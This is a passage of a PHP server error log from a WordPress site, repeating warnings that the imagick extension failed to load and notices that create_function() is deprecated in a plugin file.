deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [08-Jun-2023 23:40:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [08-Jun-2023 23:40:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 00:12:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 00:12:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 00:19:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 00:19:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 01:20:38 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 01:20:38 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 02:21:49 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 02:21:49 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:16:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:16:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:16:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:16:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:17:22 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:17:22 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:17:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:17:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:18:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:18:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:18:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:18:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:19:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:19:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:19:34 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:19:34 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:20:21 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:20:21 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:20:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:20:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:20:58 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:20:58 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:21:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:21:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:22:06 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:22:06 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:22:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:22:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:25:57 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:25:57 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:26:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:26:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:26:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:26:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:26:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:26:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:28:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:28:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:28:23 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:28:23 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:28:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:28:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:28:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:28:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:29:16 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:29:16 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:29:27 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:29:27 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:29:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:29:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:30:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:30:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:30:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:30:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:30:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:30:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:31:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:31:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:31:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:31:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:31:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:31:48 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:32:03 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:32:03 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:32:32 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:32:32 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:32:47 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:32:47 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:33:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:33:02 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:33:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:33:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:33:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:33:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:33:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:33:59 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:34:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:34:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:34:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:34:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:34:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:34:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [09-Jun-2023 03:35:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [09-Jun-2023 03:35:10 UTC] PHP Deprecated: Function create_function() is deprecated in 